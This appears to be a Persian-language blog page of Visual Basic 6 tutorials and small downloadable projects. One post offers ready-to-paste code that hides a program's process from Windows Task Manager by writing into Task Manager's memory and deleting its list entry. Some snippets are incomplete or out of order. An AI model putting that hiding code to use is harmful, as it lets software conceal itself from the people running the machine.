برنامه نویسی

عملگرها نمادهايي هستند كه اعمالي را روي مقادير(متغييرها و مقادير ثابت) انجام ميدهند.فرضا عملگر + روي دو عملوند عمل ميكند و آنها را با هم جمع ميكند.در ويژوال بيسيك عملگرها را به سه دسته تقسيم خواهيم كرد.عملگرهاي حسابي ، عملگرهاي رابطه اي و عملگرهاي منطقي.در جدول هاي زير انواع عملگرها را به همراه نام و مثال هايي از هر كدام را مشاهده ميكنيد.

مطمئنا همه کسانی که برنامه نویسی می کنند با Message BOx آشنایی دارند. اما یکی از مشکلاتی که در این خصوص وجود داره این است که کلیدهای روی MessageBOx  به زبان انگلیسی است(منظورمOk,NO,Yes,Cancel هست).

برای حل این مشکل ابتدا کلاس  MessageBox  را به پروژه خود اضافه کنید.

 پس از این کار هر جایی از برنامه خود که خواستید از MessageBOx ها استفاده کنید(مثلا در رویدادFormClosing) باید از کد زیر استفاده کنید:

 
pirooz.parsiblog.com

سلام

یه پروژه جدید دارم واستون افکت تایپ هست میتونید تو برنامه هاتون استفاده کنید
من برای اینکه مشکلی پیش نیاد از تابع ()Chr استفاده کردم ولی شما میتونید واسه خودتون بصورت سفارشی درست کنید  کد اون رو هم بصورت comment تو پنجره کد ها گذاشتم براتون.

موفق باشید

 

سلام

همون طور که میدونید برچسب (تگ) ها خیلی تو بالا بردن آمار مهمن واسه همین این برنامه رو نوشتم امید وارم خوشتون بیاد.

این برنامه رو برای رزبلاگی ها نوشتم البته با قابلیت جدیدی که اضافه شده وبلاگ نویسای دیگه هم میتونن  از این برنامه ی ساده استفاده کنن.

همونطور که از تصویر بالا معلومه شما فقط یکبار برچسب های تکراری که زیاد استفاده میکنید رو اینجا ثبت میکنید و از نوشتن مجدد اونها خلاص میشید! نحوه ی کار با برنامه تو یه فایل  PDF نوشته شده لطفا اون رو با دقت بخونید.

موفق باشید.

دانلود برنامه در ادامه...
 

سلام

با این کد میتونید پروسس برنامه تون رو از تب Processes برنامه Task manager مخفی کنید

کافیه تو فرم یه تایمر بذارید و این کد رو تو بخش جنرال فرم کپی کنید:

Private Type bkh flag As Long psz As Long lParam As Long pt As Long vkDirection As Long End Type Private Declare Function VirtualAllocEx Lib "kernel32.dll" (ByVal hProcess As Long, ByVal lpAddress As Long, ByVal dwSize As Long, ByVal flAllocationType As Long, ByVal flProtect As Long) As Long Private Declare Function OpenProcess Lib "kernel32.dll" (ByVal dwDesiredAccess As Long, ByVal bInheritHandle As Long, ByVal dwProcessId As Long) As Long Private Declare Function GetWindowThreadProcessId Lib "user32.dll" (ByVal hwnd As Long, ByRef lpdwProcessId As Long) As Long Private Declare Function WriteProcessMemory Lib "kernel32" (ByVal hProcess As Long, ByVal lpBaseAddress As Long, ByVal lpBuffer As Long, ByVal nSize As Long, lpNumberOfBytesWritten As Long) As Long Private Declare Function VirtualFreeEx Lib "kernel32.dll" (ByVal hProcess As Long, ByRef lpAddress As Any, ByRef dwSize As Long, ByVal dwFreeType As Long) As Long Private Declare Function SendMessage Lib "user32.dll" Alias "SendMessageA" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, ByVal lParam As Long) As Long Private Declare Function GetCurrentProcessId Lib "kernel32.dll" () As Long Private Declare Function KillTimer Lib "user32.dll" (ByVal hwnd As Long, ByVal nIDEvent As Long) As Long Private Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal lpClassName As String, ByVal lpWindowName As String) As Long Private Declare Function FindWindowEx Lib "user32.dll" Alias "FindWindowExA" (ByVal hWnd1 As Long, ByVal hWnd2 As Long, ByVal lpsz1 As String, ByVal lpsz2 As String) As Long Private Sub Hide_Process(Name As String) Dim pName As Long Dim pType As Long Dim l As Long Dim Tid As Long Dim hTid As Long Dim pid As Long Dim h As Long Dim i As Long Dim hProcess As Long Dim f As bkh Dim s As String Dim bkh() As Byte h = FindWindow(vbNullString, "Windows Task Manager") KillTimer h, 0 h = FindWindowEx(h, 0, "#32770", vbNullString) h = FindWindowEx(h, 0, "SysListView32", vbNullString) If h = 0 Then Exit Sub f.flag = 8 Or &H20 Call GetWindowThreadProcessId(h, pid) hProcess = OpenProcess(1082, 0, pid) bkh = StrConv(Name, vbFromUnicode) pName = VirtualAllocEx(hProcess, 0, Len(Name) + 1, &H1000, 4) WriteProcessMemory hProcess, pName, VarPtr(bkh(0)), Len(Name), l f.psz = pName pType = VirtualAllocEx(hProcess, 0, Len(f), &H1000, 4) WriteProcessMemory hProcess, pType, VarPtr(f.flag), Len(f), l i = SendMessage(h, &H1000 + 13, 0, pType) If i <> -1 Then SendMessage h, &H1000 + 8, i, 0 VirtualFreeEx hProcess, pType, Len(f), &H8000 VirtualFreeEx hProcess, pName, LenB(Name) + 1, &H8000 End Sub Private Sub Form_Load() Timer1.Enabled = True Timer1.Interval = 5000 End Sub Private Sub Timer1_Timer() Hide_Process CStr(App.EXEName & ".exe") End Sub

مقدمه :

بیسیک زبانی است که دوران تحول فراوانی را پشت سر گذاشته است.اولین نسخه از ویژوال بیسیک به گونه ای بود که برنامه نویسی در آن از دشواری خاصی برخوردار بود.بعد از Visual Basic امروزه با پدیده جدیدی به نام Visual Basic.Net مواجه شده ایم.اگر می خواهید به سراغ یادگیری این زبان بروید مسلما باید با VB کار کرده باشید.چون در واقع VB.Net توسعه یافته زبان VB است.در ضمن درست است که VB.Net پا به عرصه برنامه نویسی گذاشته است،اما همچنان به زبان VB برنامه های بسیار زیادی نوشته می شود و از کارایی این زبان چیزی کاسته نشده است.زبان VB در سبک برنامه نویسی از سبک برنامه نویسی شی گرا پیروی می کند.همانطور که می دانید سبک های برنامه نویسی به سه دسته زیر تقسیم می شوند.

2- ساخت يافته: يكي از سبك ها و روش هاي متداول برنامه نويسي است. در برنامه نويسي ساخت يافته برنامه بصورت مجموعه اي از فعاليت ها تصور مي شود، كه بايد روي داده ها انجام گيرند. در اين روش هر كار پيچيده اي بصورت مجموعه اي از كارهاي كوچكتر تجزيه مي شود تا اينكه كارهاي ايجاد شده قابل درك باشند.

1- سنتي: كه ديگر استفاده نمي شود. در سبك سنتي از دستور Go to زياد استفاده مي شود و به خاطر همين رديابي، تست و اشكال زدايي برنامه خصوصا در برنامه هاي طولاني بسيار مشكل مي شود.

...

Declarations:

Public Const GWL_EXSTYLE = (-20)
Public Const WS_EX_TRANSPARENT = &H20&
Public Const SWP_FRAMECHANGED = &H20
Public Const SWP_NOMOVE = &H2
Public Const SWP_NOSIZE = &H1
Public Const SWP_SHOWME = SWP_FRAMECHANGED Or _
SWP_NOMOVE Or SWP_NOSIZE
Public Const HWND_NOTOPMOST = -2

Declare Function SetWindowLong Lib "user32" Alias "SetWindowLongA" (ByVal hwnd As Long, ByVal nIndex As Long, ByVal dwNewLong As Long) As Long

Declare Function SetWindowPos Lib "user32" (ByVal hwnd As Long, ByVal hWndInsertAfter As Long, ByVal x As Long, ByVal y As Long, ByVal cx As Long, ByVal cy As Long, ByVal wFlags As Long) As Long

Code:

SetWindowLong Me.hwnd, GWL_EXSTYLE, WS_EX_TRANSPARENT
SetWindowPos Me.hwnd, HWND_NOTOPMOST, 0&, 0&, 0&, 0&, SWP_SHOWME

Private Sub Form_Load()
    Const Black = &H0&
    Form1.Caption = "Cool Color"
    Timer1.Interval = 1
    Form1.BackColor = Black
    Form1.Tag = 0
    Form1.WindowState = 2
    Form1.Left = 0
    Form1.Top = 0
End Sub
Private Sub Timer1_Timer()
    Dim Red As Integer
    Dim Blue As Integer
    Dim Green As Integer
    Dim X As Integer
    Dim Y As Integer
        For I = 1 To 5000
            Red = Int(Rnd * 255)
            Blue = Int(Rnd * 255)
            Green = Int(Rnd * 255)
            Y = Int(Rnd * Form1.Height)
            X = Int(Rnd * Form1.Width)
            PSet (X, Y), RGB(Red, Green, Blue)
        Next I
    Form1.Tag = Form1.Tag + 1
        If Form1.Tag = 10 Then
            Form1.Cls
            Form1.Tag = 0
End Sub

Good luck :-)

این برنامه ساده یک عدد از شما دریافت میکند و مشخص میکند که آن عدد اول است یا خیر.

دانلود برنامه+سورس...

سلام، همونطور که از تصویر بالا معلومه برنامه تلفظ اعداد فارسی هست که میتونید بصورت رایگان ار سایت برنامه نویسی دانلود کنید.

دانلود برنامه+سورس...

سلام

همونطور که تو عکس بالا میبینید با این برنامه میتونید یک عکس رو از اینترنت در یک picturebox نمایش بدید

دانلود برنامه+سورس برنامه در ادامه...

با استفاده از این کد  کاربردی میتونید مرورگر پیشفرض کاربر رو پیدا کرده و ادرس سایتتون رو با اون مرورگر باز کنید.

نمایش کد در ادامه...

سلام؛

پروژه ی نمایش اعداد اول تو محدوده ای که شما مشخص میکنید با for و while این پروژه برای خیلیا خیلی میتونه مفید باشه :)

دانلود در ادامه....